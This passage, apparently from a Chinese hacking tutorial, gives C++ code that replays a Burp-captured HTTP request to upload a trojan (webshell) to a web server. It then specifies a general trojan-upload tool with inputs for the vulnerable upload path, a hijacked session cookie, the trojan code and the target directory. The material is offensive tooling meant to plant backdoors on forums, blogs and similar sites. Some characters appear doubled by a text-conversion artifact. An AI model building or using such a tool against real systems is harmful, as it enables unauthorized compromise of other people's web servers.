上傳木馬的模塊可以通過直接發(fā)包達到上傳的效果,實現(xiàn)起來比較簡單,代碼如下:
void CuploadmumaDlg::OnBnClickedButton1()
{
// TODO: 在此添加控件通知處理程序代碼
WSAData wsa = { 0 };
// 初始化
WSAStartup(MAKEWORD(2, 2), &wsa);
// 獲取 IP 地址
DWORD dwIPAddr = 0;
m_IpAddr.GetAddress(dwIPAddr);
// 獲取端口號
WORD dwPort = 0;
dwPort = GetDlgItemInt(IDC_PORT);
// 創(chuàng)建 SOCKET
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr = { 0 };
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.S_un.S_addr = htonl(dwIPAddr);
sockaddr.sin_port = htons(dwPort);
// 連接服務器
int nRet = connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
// 獲取從 BURP 截取的 HTTP 的 request 包
char szText[2048] = { 0 };
GetDlgItemText(IDC_TEXT, szText, 2048);
// 發(fā)送包
nRet = send(s, szText, lstrlen(szText), 0);
closesocket(s);
WSACleanup();
}
代碼的流程比較簡單,主要就是完成了與Web服務器的連接,然后發(fā)送通過Burp截取的數(shù)據(jù)內容,程序界面如圖1所示。
圖1 發(fā)送木馬數(shù)據(jù)包上傳木馬
該木馬發(fā)送程序比較簡陋,只是簡單地提交了對Web服務器請求的數(shù)據(jù)包。開發(fā)一個較為通用的木馬上傳工具,就不能這么偷懶了。首先,需要提取出存在上傳漏洞的地址,因為每個系統(tǒng)存在上傳漏洞的地址是不相同的,因此漏洞的地址必須能夠接收用戶的輸入。接著提取HTTP請求頭部中的“Cookie”部分,因為上傳木馬時可能需要登錄系統(tǒng)以后才能進行上傳,但是為什么發(fā)包的時候可以,因為數(shù)據(jù)包中有COOKIE,因此必須要能讓用戶輸入“cookie”,因為一般的上傳漏洞可能是論壇、博客等系統(tǒng),因此用戶可以自行登錄后,將cookie復制出來并粘貼到程序中。然后還有木馬的內容需要用戶自定義,那么程序界面上也需要留下輸入木馬的文本框,可以直接輸入木馬的代碼,也可以直接讓用戶輸入木馬的目錄,然后讓程序從文件中把木馬代碼讀出。有的上傳漏洞能夠讓用戶去控制上傳木馬后所在的目錄,那么還要給用戶一個可以設置上傳位置的輸入框。